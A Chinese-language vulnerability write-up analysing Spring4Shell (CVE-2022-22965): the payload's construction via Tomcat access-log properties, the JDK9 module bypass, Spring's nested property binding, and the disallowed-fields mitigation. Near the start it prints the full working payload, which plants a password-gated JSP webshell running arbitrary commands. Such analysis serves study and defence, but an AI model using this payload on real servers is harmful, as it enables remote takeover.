Spring Framework RCE CVE-2022-22965 漏洞分析
摘要
本文会从几个角度分析漏洞CVE-2022-22965,首先会从payload的构造。每次我都喜欢先分析漏洞的payload,不得不承认实力没达到可以直接分析漏洞地步。所以会先看看payload的构造过程看看,每次学习和分析漏洞的payload能学到很多有趣的角度和想法。从payload的构造分析,分析payload的构造能够站在挖掘者的角度思考一个sink点,应该如何去寻找一条data-flow-path,并且能够满足流向sink的path。其次会结合SPA知识,call-graph分析部分功能点,最后会分析一波漏洞的修复方案。
Payload 构造
下面是本次RCE的payload,看上去并不是很难的样子。其中蕴藏了几个小知识点,下面逐一分析。首先大体看payload是由请求头和请求体两部分组成。
headers = {
"suffix":"%>//",
"c1":"Runtime",
"c2":"<%",
}
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
知识点–Tomcat Access Log
在Tomcat的conf目录下的server.xml文件中配置了访问日志文件,
<!-- Access log processes all example.
Documentation at: /docs/config/valve.html
Note: The pattern used is equivalent to using pattern="common" -->
<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
prefix="localhost_access_log" suffix=".txt"
pattern="%h %l %u %t "%r" %s %b" />
className="org.apache.catalina.valves.AccessLogValve"
对应设置日志文件的日志规范类,控制日志文件的文件名、文件后缀和日志输出格式等信息。这里我们就大致理解payload中的suffix、prefix和pattern的作用了。
%{}i
在payload中有这个格式,查阅tomcat相关资料可以发现这里的%{}i
是以 Apache HTTP 服务器日志配置语法为模型,支持写入传入或传出标头,Cookie,会话或请求属性以及特殊时间戳格式的信息。
这里也就解释了请求包中有特殊的几个header,以及其作用。我们现在可以将payload进行转化一下,也就等同于下面了这段payload。
class.module.classLoader.resources.context.parent.pipeline.first.pattern=<% if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %>//
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
知识点—JDK module模块
JDK9引入了一个新的特性叫做JPMS(Java Platform Module System),也可以叫做Project Jigsaw。模块化的本质就是将一个大型的项目拆分成为一个一个的模块,每个模块都是独立的单元,并且不同的模块之间可以互相引用和调用。
引入module之后,原本被修复的漏洞就使用module特性进行绕过了。
知识点—AbstractNestablePropertyAccessor嵌套结构
为了理解payload为什么会有这么长class.module.classLoader.resources.context.parent.pipeline.first.suffix
,这里得理解AbstractNestablePropertyAccessor的嵌套结构。为了帮助读者更好理解嵌套结构,笔者写了一段代码作为演示。
public class School {
String name;
Student student;
// TODO 添加setter和getter方法
public static class Student {
String name;
Age age;
// TODO 添加setter和getter方法
}
public static class Age {
int age;
// TODO 添加setter和getter方法
}
// 为了代码量变少点,这里删除setter和getter方法,如果使用自行添加。
}
对应输出代码,demo类源码参考struts-tester/struts-tester.jsp
public static void main(String[] args) throws Exception {
java.util.HashSet set = new java.util.HashSet<Object>();
School school = new School();
school.setName("beijing");
School.Student student = new School.Student();
student.setName("wangshuai");
School.Age age = new School.Age();
age.setAge(18);
student.setAge(age);
school.setStudent(student);
Object target = demo.applyGetChain(school,"");
boolean debug = false;
demo demo = new demo();
demo.processClass(target, System.out, set, "", 0, debug);
}
从这里可以很轻松的看懂为什么class.module.classLoader.resources.context.parent.pipeline.first.suffix构造,下面另一张图可以找到一些可利用的gadget。
漏洞成因分析
前面我们分析了目前该漏洞最广泛的漏洞payload,那么我们再看看漏洞是如何形成就可以非常明确知道出现问题的可能性了,在分析对应的实现源码。
其实现在已经非常明确知道,这是一个功能点,被恶意利用了。分析源码是为了看实现原理,分析再次如果的可能性以及再遇到再相似代码可以更好的分辨。
在org.springframework.beans.AbstractNestablePropertyAccessor
的getPropertyAccessorForPropertyPath打个断点,我们先看看他的Call Graph是怎么样。原图地址:call-graph
使用call graph能够比较直观分析数据的流进流出,不难发现getPropertyValue
–> getFirstNestedPropertySeparatorIndex
->getNestedPropertyAccessor
->getPropertyAccessorForPropertyPath
是这么一个过程。
但debug看堆栈发现,并不是getPropertyValue去调用了getPropertyAccessorForPropertyPath
而是setPropertyValue调用的。
getPropertyAccessorForPropertyPath(String):815, AbstractNestablePropertyAccessor (org.springframework.beans), AbstractNestablePropertyAccessor.java
setPropertyValue(PropertyValue):256, AbstractNestablePropertyAccessor (org.springframework.beans), AbstractNestablePropertyAccessor.java
setPropertyValues(PropertyValues, boolean, boolean):104, AbstractPropertyAccessor (org.springframework.beans), AbstractPropertyAccessor.java
applyPropertyValues(MutablePropertyValues):856, DataBinder (org.springframework.validation), DataBinder.java
doBind(MutablePropertyValues):751, DataBinder (org.springframework.validation), DataBinder.java
doBind(MutablePropertyValues):198, WebDataBinder (org.springframework.web.bind), WebDataBinder.java
tomcat.util.threads), TaskThread.java
如果看源码分析发现,在AbstractNestablePropertyAccessor中也存在getPropertyValue调用了getPropertyAccessorForPropertyPath方法。这也是call-graph的一种缺点吧,相比真正的data-flow-graph还是有不足之处,但相比而言静态的call-graph已经非常具有参考价值了,是一种辅助分析手段。
在org.springframework.beans.PropertyAccessorUtils#getNestedPropertySeparatorIndex
中,这段代码作用获取.
的位置,然后返回位置。在以.
为分割线,取字符串,首先会取class字符串,在依次module、classloader…..。nestedPath是记录分割之后的字符串,nestedProperty是记录分割出来的字符串,传入getNestedPropertyAccessor方法之中。
首次进入getNestedPropertyAccessor方法会创建一个hashmap,然后调用getPropertyValue方法。
在getPropertyValue方法中调用getLocalPropertyHandler,由于getLocalPropertyHandler是抽象方法,会调用实现方法这里是BeanWrapperImpl.class类中的getLocalPropertyHandler方法。但BeanWrapperImpl是AbstractNestablePropertyAccessor的实现类,JavaBean存在内省(Introspection)机制,调用方法getLocalPropertyHandler之前会首先调用setIntrospectionClass方法。在方法getLocalPropertyHandler中,首先会调用getCachedIntrospectionResults方法,由于此时的BeanWrapperImpl中的CachedIntrospectionResults为null,因此会org.springframework.beans.CachedIntrospectionResults#forClass方法创建CachedIntrospectionResults对象。
在CachedIntrospectionResults类中的构造器方法,存在前面历史漏洞的修复方案。但自从Java9加入module机制之后,此修复方案就可以被绕过了。
首先会加入propertyDescriptors是class所指向的getClass()方法,然后循环之后module所指向的getModule()方法,依此类推。
在全部加入之后,会去=
后边的值,实现方法org.springframework.beans.AbstractNestablePropertyAccessor#processLocalProperty方法,最终会调用BeanWrapperImpl#setValue进行赋值操作。
修复方案
与之前修复方式不一样,之前是获取pd的名字,现在直接判断pd类型,直接将classloader和Protection类加入黑名单了。
临时性修复方案,首先来看代码,将{"class.*","Class.*","*.class.*","*.Class.*"}
字符串数组加入黑名单,这样子使用大小写无法绕过。但为什么要调用WebDataBinder#setDisallowedFields方法呢?
@ControllerAdvice
@Order(Ordered.LOWEST_PRECEDENCE)
public class GlobalControllerAdvice {
@InitBinder
public void setAllowedFields(WebDataBinder dataBinder){
String[] abd= new String[]{"class.*","Class.*","*.class.*","*.Class.*"};
dataBinder.setDisallowedFields(abd);
}
}
我们在回到最初漏洞开始的地方,会看堆栈内容,往前看几眼,会分析存在WebDataBinder对象。发送请求之后,会经过一系列filter,handler操作之后,首先会将请求处理到ServletRequestDataBinder对象中。然后再是WebDataBinder对象,而在WebDataBinder对象中提高设置那些字段不允许的方法。设置之后,恶意请求就会在WebDataBinder过滤掉了,不会进行进一步的处理。
内省机制
下面是一个最简单Spring框架下的内省机制的使用,其中第五行代码 bwl.setPropertyValue("student.name", "张三");
。其中student.name,我们能更进一步的理解payload如何构造了,也能理解为什么需要getNestedPropertySeparatorIndex方法将字符串分割。
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException {
BeanWrapperImpl bwl = new BeanWrapperImpl(new School());
bwl.setAutoGrowNestedPaths(true); //自动属性嵌套
bwl.setPropertyValue("name", "北京大学");
bwl.setPropertyValue("student.name", "张三");
PropertyDescriptor[] pds = bwl.getPropertyDescriptors();
Set<String> propertyNames = new HashSet<String>();
for (PropertyDescriptor pd : pds) {
//获取属性名称
System.out.println(pd.getName() + " : " + "" + pd.getPropertyType() + " : " + pd.getReadMethod().invoke(bwl.getWrappedInstance()));
propertyNames.add(pd.getName());
}
System.out.println(Arrays.toString(propertyNames.toArray(new String[propertyNames.size()])));
}
环境搭建小问题
使用idea热部署debug的时候,配置如下图。
Deployment选择exploded,在项目配置可以看到输出路径,也就是web路径。在该路径下添加jsp,也会动态解析。然后用poc打网站,就路径要写绝对路径。
如果不写绝对路径,webshell会输出到下面的临时路径。因为idea会自动配置一个临时tomcat的配置环境,所以webshell会输出到临时路径。
C:\Users{Name}\AppData\Local\JetBrains\IntelliJIdea2021.3\tomcat